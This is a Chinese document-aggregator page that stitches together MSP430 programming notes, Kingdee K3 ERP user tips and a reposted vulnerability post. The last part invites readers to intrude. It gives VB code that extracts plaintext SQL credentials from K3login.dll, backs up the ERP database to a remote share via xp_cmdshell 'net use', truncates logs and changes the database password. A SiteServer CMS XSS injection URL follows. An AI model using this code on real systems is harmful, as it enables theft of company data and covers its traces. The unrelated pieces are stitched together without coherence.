430使用心得

时间:2019-05-15 00:22:44下载本文作者:会员上传
简介:写写帮文库小编为你整理了多篇相关的《430使用心得》,但愿对你工作学习有帮助,当然你在写写帮文库还可以找到更多《430使用心得》。

第一篇:430使用心得

学习MSP430G2553,已有7天有余。个人觉着:低功耗是其最大亮点。为此可谓是处心积虑。因而中断/低功耗模式在430的应用中便显得千娇百媚,楚楚动人!这里,先跟大伙看下这个中断的情况。

#include #include “in430.h” int main(void){

WDTCTL = WDTPW + WDTHOLD;//禁止看门狗计数 P1DIR=BIT0+BIT1;//P1.01设置为输出,P1.4/5是输入 P1OUT=BIT0+BIT1+BIT4+BIT5;//P1.01为高,P.4/5上拉 P1REN=BIT4+BIT5;//P1.4上拉使能 P1IE=BIT4+BIT5;//P1.4开中断 P1IES=BIT4+BIT5;//中断沿选择 __enable_interrupt();//开总中断 while(1);//没事做 }

#pragma vector=PORT1_VECTOR

__interrupt void PORT1()//P1口中断服务程序 {

unsigned int i=0;unsigned char PushKey=0;

PushKey=P1IFG&(BIT4+BIT5);//读取是哪个键按下 for(i=0;i<65535;i++);//延时后再作判断,避免是抖动 if(!(P1IN&PushKey))//没有按下,则为抖动,标志清零 P1IFG=0;

if((P1IN&PushKey))//判断是否有键按下 {

for(i=0;i<65535;i++);if((P1IN&PushKey)){ if((PushKey&BIT4))P1OUT^=BIT0;if((PushKey&BIT5))P1OUT^=BIT1;}

P1IFG&=~(BIT4+BIT5);} }

这个程序,最出彩的地方在于“while(1);”这个等待的语句。

中断没发生前,程序在停这儿等待,就相当于CPU一直停在儿没事做歇着,也许是在等待戈多。一旦中断条件发生,在这里是按键,它便好像逮着什么似的,便进入中断,去执行中断程序中的代码。

这里,我们可见。中断没来之前,CPU它无所事事,却没有关闭,仍在耗电。中断来了之后,它赶忙地处理中断程序。前前后后,他总在折腾。肯定累得够戗。

那CPU在哪段时间内本可好好休息,不必浪费精力呢???大伙都知道,肯定是等待戈多那个时间里。所以便会让它在等待戈多的时间里去休眠。中断来了确实需它出面处理时,它再醒来处理中断事件,更为妥当!!于是乎,便有了下面的程序。#include #define uchar unsigned char uchar table[]={0xfe,0xfd,0xfb,0xf7,0xef,0xdf,0xbf,0x7f};uchar i,num,flag;void TimeAInit(void){ TACTL=TASSEL0+MC0+TACLR;//SMCL时钟,up,清零 TACCTL0|=CCIE;} void SetTime(unsigned int time){ TACCR0=time;} int main(void){ WDTCTL=WDTPW+WDTHOLD;P1DIR=0xff;TimeAInit();SetTime(100);__enable_interrupt();while(1){ LPM3;if(flag==0){ i++;if(i==10){ i=0;P1OUT^=table[num++];P1OUT=table[num];} if(num==8)flag=1;} if(flag==1){ i++;if(i==10){ i=0;P1OUT^=table[num--];P1OUT=table[num];} if(num==0)flag=0;} } } #pragma vector=TIMER0_A0_VECTOR//只是唤醒 __interrupt void Timer(void){ LPM3_EXIT;}

这里最大与上面最大的不同就是,用LPM3;替代了上面的While(1);这样一来,在中断没来之前,CPU不再作无谓的等待而耗电,而是处在休眠状态里。中断发生后,CPU便会自动唤醒,进入中断去处理中断程序。实现了低功耗的目的。

这里的低耗模式的实现是这样的,中断程序中是唤醒CPU,而后进入主程序,执行相应的功能模块。相应的功能模块,全在主程序中。

这便是所谓的中断中只用唤醒用。我们可以采用另一种方式,主程序中断只用休眠用。且看下面程序。

#include #define uchar unsigned char uchar table[]={0xfe,0xfd,0xfb,0xf7,0xef,0xdf,0xbf,0x7f};uchar i,num,flag;int main(void){ WDTCTL=WDTPW+WDTHOLD;//关闭看门狗

TACTL=TASSEL1+MC1+TACLR;//定时器时钟源为SMCLK,up,不分频,清零 CCTL0|=CCIE;//使能比较器中断 CCR0=50000;//计数器终值 P1DIR=0xff;//P1输出口 __enable_interrupt();//使能全局中断,C编译器中的内部函数 LPM3;} #pragma vector=TIMER0_A0_VECTOR __interrupt void Timer(void){ if(flag==0){ i++;if(i==10)//定时0.5s { i=0;P1OUT^=table[num++];P1OUT=table[num];} if(num==8)flag=1;} if(flag==1){ i++;if(i==10)//定时0.5s { i=0;P1OUT^=table[num--];P1OUT=table[num];} if(num==0)flag=0;} }

这里,主程序中只用休眠,一旦中断条件发生,则进入中断,而进入中断后,CPU便自动唤醒。因为要处理中断服务程序。不过,中断完了之后,会恢复到中断前的状态,在这里便又回到了休眠状态。

休眠的写法中,有一个点要注意。若主函数中只作休眠,则中断函数中不必写唤醒的语句;若中断中只作唤醒,则主函数中休眠+待执行语句,要用循环。

相信通过这里的讲解,大伙已明白低功耗和中断的关系了吧。明白了中断为什么在430中犹为重要了吧

先说说添加自定义头文件的方法和注意事项

方法的话,随便一本MSP430单片机C程序设计书中都有详细详解,我就不多说了。

最要注意的是添加头文件了,也许你们也知道“#include<>”和“#include“””都可以添加头文件,挡在添加自己个人头文件时,它们又有神马区别呢,你们就不知道了吧。呵呵,现在说明一下:放在自己工程目录下的头文件要用#include “xxxxx.h” ,系统目录下的头文件才用#include,当然你自定义的头文件可以在系统头文件库里面的,我是喜欢直接放在系统目录中,再做下备份。

怎么判断头文件的数值(如0x0001)是表示十六进制数还是表示地址?

1、#define BIT0(0×0001)//(0×0001)不是地址,而是一个16进制数值。

1、P3DIR |= BIT3;实际上也可以写成P3DIR |= 0×0008;意思是将P3口的默认上电值0×0000和0×0008相与,设置P3口的第三位(即P3.3)管脚作输出使用。例

2、WDTCTL = WDTPW + WDTHOLD;实际上就是WDTCTL=0×5A80;

你可以在头文件中查到#define WDTPW(0×5A00)和#define WDTHOLD(0×0080)。WDTCTL是看门狗的控

制寄存器,在msp430的User’Guide中有说明:当它的值为0×5A80时停止看门狗定时。

那为什么我们不直接写成WDTCTL=0×5A80;呢?这样的话程序的可读性会很差。0×5A80只是一个数值,当你下次再看你写的程序,或者别人读你的程序时,就不明白WDTCTL=0×5A80;的

意思了。如果写成WDTCTL = WDTPW + WDTHOLD;就好理解多了:

WDTPW(Watchdog timer password,看门狗的密码,WDTCTL的高8位):只有WDTCTL的高8位为

0×5A时才能对WDTCTL寄存器进行写操作。

WDTHOLD(Watchdog timer hold,WDTCTL的第7位):当WDTCTL的第7位为1时,停止看门狗计时。

这样我们通过PW,HOLD就可以轻松的知道WDTCTL = WDTPW + WDTHOLD;是做什么的了。可以看出

msp430的头文件是很人性化的。

2、当然也有表示地址的,例如,头文件中有以下部分:

#ifdef __IAR_SYSTEMS_ASM__ #define DEFC(name, address)sfrb name = address #define DEFW(name, address)sfrw name = address;//运用了可变参数宏的宏定义格式:#define 宏符号名(参数表)宏体;宏体中就是写出参数表中各个参数之间的关系。

#endif ……

#define P6OUT_(0×0035)DEFC(P6OUT , P6OUT_)//这里就是用了以上的可变参数宏。DEFC(P6OUT , P6OUT_)就表示:sfrb P6OUT = P6OUT_ //这里的0×0035就是指P6OUT这个寄存器的地址了。

1、#define ME1_(0x0004)DEFC(ME1 , ME1_)

me1关联端口0x0004 DEFC的C是字节的意思,也就是me1 就是地址0004处的一个字节即八位数据

2、#define FCTL1_(0x0128)DEFW(FCTL1 , FCTL1_)

其功能是从指定地址开始,定义若干个16位数据

对于对DEFC和DEFW的理解可以到#include这个头文件里查看

实质上就是要对sfrb和sfrw关键字的理解,下面就说说在C430中所扩展的关键字吧。

使用处理器专用扩展的保持可可移植性的 #pragma 伪指令

一、新增数据类型:

1、Sfrb----字节类型的特殊功能寄存器或外围模块

2、Sfrw----字类型的特殊功能寄存器或外围模块

3、Pointer--指针

4、Enum-----枚举

1、外围模块变量Sfrb、Sfrw也称作特殊功能寄存器变量,直接位于内部RAM单元。Sfrb范围为:0X00---OXFF; Sfrw范围为:0X100---0X1FF;

外围模块变量使符号名与此范围的字节或字相联系,该地址处寄存器可以符号化被寻址,但没有分配存储空间。

例如:

Sfrb P1IES =0X24H;字节是8位 Sfrb P1DIR = 0X22H;

Sfrw ADC12CTL1 =0X01A2H 字是16位

经过定义后就可以直接通过对应的符号访问这些寄存器了。

PIDIR = 0X01;P1.0输出

2、指针变量

IAR C430的指针变量包括代码指针和数据指针,都可以指向0000H---0FFFFH的范围的存储空间。

3、枚举类型

用enum关键字,可以声明的每一个变量具有适合它的值所需的最短正数类型,可以是char、short、int或long。

二、中断函数定义

#pragma vector = 中断矢量变量

_interrupt void 函数名(void){

调用函数声明

函数变量定义

函数执行语句 }

其中 _interrupt说明了是中断函数,中断矢量变量:说明了该中断服务函数对应的中断向量表中的中断地址

例如:

#pragma vector = WDT_VECTOR()

_interrupt voidwatchdog_timer(void){

P1OUT ^= 0X01;

}

四、提高IAR C430 代码的效率

1、仅在保存数据存储器空间的时候才使用位域

2、尽可能使用无符号类型,unsigned类型

3、对16位数据类型MSP430的工作效率更高,通常8位数据类型的使用可节省数据空间,但是不减少代码大小,不支持32数据类型。

4、复制struct和union是耗费较大的操作,应避免运行时struct/union的赋值,带struct/union参数的函数以及返回struct/union的函数,应尽量采取指向struct/union的指针操作。

五、IAR头文件,用户程序通过头文件访问库定义,头文件使用#include伪指令与之相结合,为了避免浪费编译时间,定义被划分到许多不同的头部定义,每一个文件覆盖特定的函数区域,用户可以根据使用的内容选择不同的头文件。

IAR调试环境提供了MSP430单片机各系列的标准头文件,定义了系列中包含的寄存器的物理地址,在程序中可以字节使用寄存器名或者寄存器中位的名称,这样就避免使用实际的物理地址,使程序设计简介、高效。

六、IAR C430 的汇编语言接口 IAR C430 编译器可以把编译好的c语言模块与汇编语言模块链接起来,这对于要求代码效率较高的场合尤为重要。

通常用汇编语言来写子程序,并由C语言主函数调用

1、调用规则:

编译器使用两组寄存器

R12——R15用于传递参数,在调用时不加保护

其它通用寄存器R4---R---11主要用于存放寄存器变量和中间结果,在调用时应予以保护

2、堆栈结构和参数传递

每次调用子程序都会创建一个堆栈结构

3、从c程序传递参数

传递给汇编子程序的参数依照从右向左的次序。最左边的两个参数用寄存器传递,除非它们被定义成struct或union而使用堆栈传递。其余参数总是通过堆栈传递。

第二篇:K3使用心得

说明:本人是一客户,操作中有一些体会,但计算机语言知之甚少,所述内容不一定很严谨,不过应该说还比较通俗。由于相关的使用手册对操作已有说明,我这个说明与其角度不同,估且作为手册的一点补充吧。本说明主要讲如何使用,对软件问题及安装不涉及。文中涉及的不能修改、不能改变均指在操作界面不能处理。我想将这作为新手的借鉴材料,望大家提出意见和建议,包括结构性的和功能上的。本说明的顺序无规律,有点想到哪里说到哪里的感觉,其中一部分内容在论坛中与大家交流过。

一、软件安装完后,管理员首先要对中间层有一个基本的了解。中间层的密码很重要,忘了就得重装中间层;中间层菜单上有一个“系统使用情况”的功能项,这一功能项是反映某一时刻正在使用系统的情况,如果有的单位站点较少,可以通过这里看出当前使用的是哪些人,从而对使用人员进行调节,将某些未用但没有退出系统的用户强行清除掉;在系统非正常退出时,中间层还保留其信息,大家在操作时会出现“当前使用的功能与其他用户冲突”、“该数据正在调用”等提示即与此相关,这时管理员需要在中间层选定对应帐套,通过网络控制清除相关信息。中间层的主要功能是建立新帐套、备份帐套和恢复帐套,这三项基本功能大家都应该会的,需要指出的是大家在作出重大操作时,如修改数据库、测试某一功能等情况下,要先备份。对于备份大家可以使用帐套自动指备份,在你选择好路径和间隔时间后,系统会自动将帐套备份到指定的地方。自动备份要注意不要关闭,否则下一次备份中断,该功能可以在中间层关闭后独立运行,该功能运行时,显示器右下角会有一个相应的图标。中间层还有注册帐套和取消注册帐套两个功能项。我是这样理解的,取消注册帐套类似于临时禁用了该帐套,要恢复时只须注册该帐套即可,这在需要暂时停止某一帐套,同时其他帐套正常使用情况下时适用。如果确实不需要某一帐套了,则使用帐套删除。

系统默认administrator这一用户为管理员,其权限最大。管理员可以在中间层修改其密码,也可以在进入K3系统主控台时修改。管理员对这两个地方一般很熟悉,但一般操作员对更改密码并不熟悉。对于操作员只能在进入主控台时更改密码,方法为:双击K3快捷方式图标后,在主控台处录入自已的用户和密码,不要点击确定,这时点击主控台左上角的修改密码,修改完成后须录入新密码才能进行系统。

二、进入K3主界面后,菜单上的“设置--主控台编辑”是以所设置的计算机为基础的,即某一台机器设置为特定的主控台后,其他操作员进来时都是一样的。这样大家在不熟悉的机器上如果看不到自己所需要的模块,首先要想到其主菜单的设置更改造成的。菜单上的“设置—选项”中允许多个主采单同时存在是大家用得上的。如果你大部分时间只同时使用一个系统,则不选择,如果你同时要打开多个界面,则选择此选项。

主界面下有一个“我的K3”,这一功能项可以将大家常用的几个功能项放在这里来,不论是哪个子系统的明细功能,只要设为常用功能,以后就可以直接在这里使用,不需要跨模块选择明细功能项。“我的K3”中还有一个即时消息中心,主要用于各操作员之间进行业务交流,如提醒有单据需要增加、修改或删除等,让各操作员间实现在线交流。-----此帖被gychml于2003-12-3 20:07:52修改过.故障1:K3系统在凭证过帐或是在结帐的过程中提示:与其它用户有冲突。

解决方法:

1、在客户端中点“开始——程序——金蝶K3——客户端部件——系统工具——网络控制管理”进入对应的帐套,用“清除当前任务”将多余的任务结束。

2、在服务器中进入金蝶K3中间层的帐套管理,将所有的帐做好备份!然后点“系统——系统使用状况”,用“清除当前任务”工具将多余的任务结束

故障2:为什么用户拥有仓存管理系统的管理权限,查看即时库存仍提示没有权限?

问题原因:即时库存查询属性供应链系统的公用功能,用户进行“供应链公用设置”的权限设置。

解决方法:功能权限设置高级中设置用户“供应链系统公用设置”-“即时库存”的相关权限设置。

故障3:固定资产计提减值准备如何操作?

解决方法:在固定资产“变动处理”中,选中要计提减值准备的卡片,点击“变动”,在“原值与折旧”页签录入“减值准备”保存后,在“凭证管理”对变动记录生成凭证即可。

故障4:问题描述 固定资产部分清理一定要先拆分吗?

解决方法:不一定,如果卡片上数量大于1,录入要清理数量即可;如果数量等于1,需要先拆分,再去清理.多栏账的设置。

K3系统在凭证过帐或是在结帐的过程中提示:与其它用户有冲突。在进行处理的时候不用备份帐套,因为清除清除当前任务并不影响业务数据。由于k3的产品不具备暂存功能,清除当前任务可能会导致正在输入的某些数据出错无法保存。

各位同行,本人今年参与公司ERP选型,由于各方面的因素,最终选择金蝶K3。下面我讲

讲个人心得。

1.选型的时候要多了解软件的功能,就算时间短也要进行测试,测试的方法只需要自己拟订几份订单,做几个BOM跑几遍流程基本上就可以看出效果。

2.一定要注意ERP的版本,我当时就没有了解清楚,时间也比较紧上面一直才催,所以吃了亏,原来金蝶K3是分成长版和专业版的,当出演示测试的时候他们用的是专业版,合同的时候签的是成长版,所以导致很多功能没有或者有但是做的没有那么好。所以大家以后在选择ERP的时候一定要了解清楚,不管你选的是拿款软件。

3.金蝶K3ERP总体的功能和架构上还是算可以的(专业版)一些功能考虑的比较完善,但是生产管理MRP部分却做的不是很好,他们的MRP分析是计算总需求的,不会理会订单的跟踪性,如果你要订单跟踪性(所有物料一定要与订单挂钩并且要在每个环节都能查到对应的销售订单的话,那就建议你不要使用,因为对应出来的是错的,如果出现插单的情况的话,你会发现,所对应跟踪出来的数据是错的)要求很强的话建议你不要选择。

4.所有事情都要在签合同前说清楚,不要相信软件公司所谓的多少钱一天的实施费,要在合同上写清楚包项目,并写清楚最起码他们顾问要来多少天,当然根据我4年的经验一般软件公司的顾问,他们除了熟悉他们软件以外,给不出什么可行的建议给你们的,所以不要指望能在过程当中学到什么东西,可以负责的给你们讲,如果你们熟悉他们的软件你做的比他们

好。

5、财务部分能不上的先不要上(买的时候也先不要买),等其他模块都做好以后才上财务部分,不要相信软件公司说的3个月内能够做好,那都是鬼话。前面的做好以后再和财务部的相关人员相量什么时候上财务部分。

附件中是我们公司选择的模块和实施价格,上面的价格按我个人想法可以再减2万但是我们公司上面没有想谈价格的意思,所以我只是给他们讲了下,没有强力的压他们价格。另外大家在选着站点的时候要生产管理部分的要多选几个一般要10个以上比较合适。我就是当初选了5个后来发现少了,不够用。我们公司固定电脑100台,全公司有1千人,个人觉得类

似我们公司规模的都可以参考。

金蝶2000版7.0,我使用好几年了,作为单机版,感觉功能很全,一般中小型企业及行政事业单位用起来绰绰有余,近来,我在新建财务报表、过账时,却发现了几个小问题:希望各位同仁能帮帮我,如你有什么问题的话,我也可以尽可能的帮你哟.一.报表公式:不能用函数,造成取数困难;二.现金流量表不能用,尽管软件提供了菜单,可是不能使用;三.不能反过账,要想回到上期的账套,只有恢复在过账时做的备份;四.我最觉得好用的还是该软件的“工资”功能,类似Foxpro的处理方法和习惯,让人用起来得心应手.比起从网上下的工资软件,方便多了.我单位从2001年开始启用金蝶K3系统,包括总账、固定资产、现金流量、报表系统等其他模块。成本管理、物流管理软件是自行开发的,包括销售管理、仓储管理、进出口业务管理等软件,自行开发软件是满足目前的需要,等时机成熟,还是要改用标准化软件的。初始化工作及软件调整工作方面的压力是挺大的,但完成之后,感觉操作挺方便的,工作质量有了很大提高。没用过用友软件,所以无法作出比较。

5月5号网站漏洞公告!!

金蝶K3出现严重安全漏洞,黑客可轻易读取数据库所有信息

想入侵的朋友赶紧速度了

估计其他ERP软件里也不少类似的东西,有兴趣的同学可以跟一下。转载开始。

这个漏洞在K3 各个版本都存在并且一样,包括新发版的K3 V12的3个版本。主要数据安全漏洞描述如下:

最大的安全漏洞在K3login.dll这个控件上,,它能明文显示K3 ERP数据库的密码等信息,这是非常危险的,简单VB6.0代码如下:

Dim k3lg As New k3Login.ClsLogin If k3lg.CheckLogin Then ‟如果成功登录,执行下面语句 Msgbox k3lg.PropsString End If 运行上述代码后,会弹出对话框,显示所有SQL数据库信息

你们看看,客户的ERP 数据库安全是不是全部暴露出来了,这是致命的漏洞,一个企业的所有商业机密都在这个数据库中,如该数据库泄露出去,对企业的影响是致命的。由于K3 ERP的这个漏洞,网管完全不知道数据库是如何泄露的(没有采用黑客攻击等非法手段,只是利用金蝶ERP软件安全设计漏洞),这些漏洞金蝶集团的开发人员提供的建议是(K3X经理提供的建议):采用WINDOWS模式认证即可避免此漏洞,请各位修改认证方式,避免企业内部数据丢失!

K3 ERP登录留下密码痕迹漏洞,适合所有版本:当用户通过登录界面登录ERP后,会将登录信息写入注册表中,包括服务器名称、登录密码、用户名称等等,因此该注册表就泄露了所有在计算机中登录用户的信息,其加密方式太简单,只要几次枚举方式就可PJ,通过数学知识,如等差数列等规律,轻而易举地将用户密码PJ,你们研究加密算法的人自己去看看规律,应对方法:因此用户最好定期清除注册表的登录痕迹,防止用户密码泄露。

利用金蝶ERP软件中KDLOGIN.dll漏洞 远程备份服务器中ERP数据库代码如下(VB): Public k3lg As New k3Login.ClsLogin Public cnn As New ADODB.Connection Public i As Integer Public j As Integer Public K As Integer Public S As Integer Public cnnstr As String Public databsnm As String Public Sub Main()On Error Resume Next If k3lg.CheckLogin Then i = InStr(k3lg.PropsString, “{“)j = InStr(k3lg.PropsString, “}”)

cnnstr = Mid(k3lg.PropsString, i + 1, j – i – 1)For K = 0 To Len(cnnstr)– 1 If Left(Right(cnnstr, K), 1)= “=” Then databsnm = Right(cnnstr, K – 1)Exit For End If Next K F001主窗口.帐套名称 = k3lg.AcctName F001主窗口.Show End If End Sub Public Sub 备份数据库(ByVal beifsjk As String)Screen.MousePointer = 13 Set cnn = New ADODB.Connection cnn.CommandTimeout = 0 cnn.Open cnnstr cnn.BeginTrans On Error GoTo cnn_err: Dim fy As String Dim fy001 As String Dim fy002 As String Dim jsj As String Dim yhu As String Dim mima As String Dim wenjian As String jsj = F001主窗口.计算机名称.Text wenjian = F001主窗口.文件夹.Text mima = F001主窗口.用户密码.Text yhu = F001主窗口.用户名称.Text fy = “exec master..xp_cmdshell‟net use z: ” & jsj &”-:special:1:-& wenjian & “ ” & mima & “ /user:”& jsj & “-:special:1:-& yhu & “„”

fy001 = “backup database ” & databsnm & ” to disk=‟z:-:special:1:-& beifsjk & ” „”

fy002 = “exec master..xp_cmdshell „net use z: /delete‟ ” cnn.Execute fy cnn.Execute fy001 cnn.Execute fy002 cnn.CommitTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox “数据库: ” & databsnm & ” 成功备份为: ” & beifsjk, vbInformation, “提示”

Exit Sub cnn_err: cnn.RollbackTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox Err.Description, vbInformation, “错误提示” End Sub Public Sub 清除日志()Screen.MousePointer = 13 Set cnn = New ADODB.Connection cnn.CommandTimeout = 0 cnn.Open cnnstr cnn.BeginTrans On Error GoTo cnn_err: Dim fy As String Dim fy001 As String Dim fy002 As String fy = “dump transaction ” & databsnm & ” with truncate_only”

fy001 = “backup log ” & databsnm & ” with truncate_only”

fy002 = “dbcc shrinkdatabase(” & databsnm & “)” cnn.Execute fy cnn.Execute fy001 cnn.Execute fy002 cnn.CommitTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox “数据库: ” & databsnm & “日志成功清除!”, vbInformation, “提示”

Exit Sub cnn_err: cnn.RollbackTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox Err.Description, vbInformation, “错误提示” End Sub Public Sub 修改数据库密码函数()Screen.MousePointer = 13 Set cnn = New ADODB.Connection cnn.CommandTimeout = 0 cnn.Open cnnstr cnn.BeginTrans On Error GoTo cnn_err: Dim fy As String fy = “exec sp_password ” & “„” & F002数据库密码修改.输入旧密码 & “„”& “,” & “„” & F002数据库密码修改.新密码确认.Text & “„” cnn.Execute fy cnn.CommitTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox “数据库密码成功修改!”, vbInformation, “提示”

Exit Sub cnn_err: cnn.RollbackTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox Err.Description, vbInformation, “错误提示” End Sub =============== SiteServer CMS存在多处跨站漏洞

影响版本: SiteServer CMS 3.3.9

程序介绍: SiteServer CMS 网站内容管理系统是定位于中高端市场的CMS内容管理系统,能够以最低的成本、最少的人力投入在最短的时间内架设一个功能齐全、性能优异、规模庞大的网站平台

漏洞分析:

程序因register.aspx等多个页面过滤不严导致跨站脚本攻击漏洞

漏洞利用:

1.注册页面为过滤用户提交非法参数导致跨站,插入跨站语句即可: http://demo.siteserver.cn/usercenter/register.aspx?ReturnUrl=">[XSS] 2.进入用户管理节目后,个人签名以及空间描述插入跨站语句均可导致跨站漏洞 post: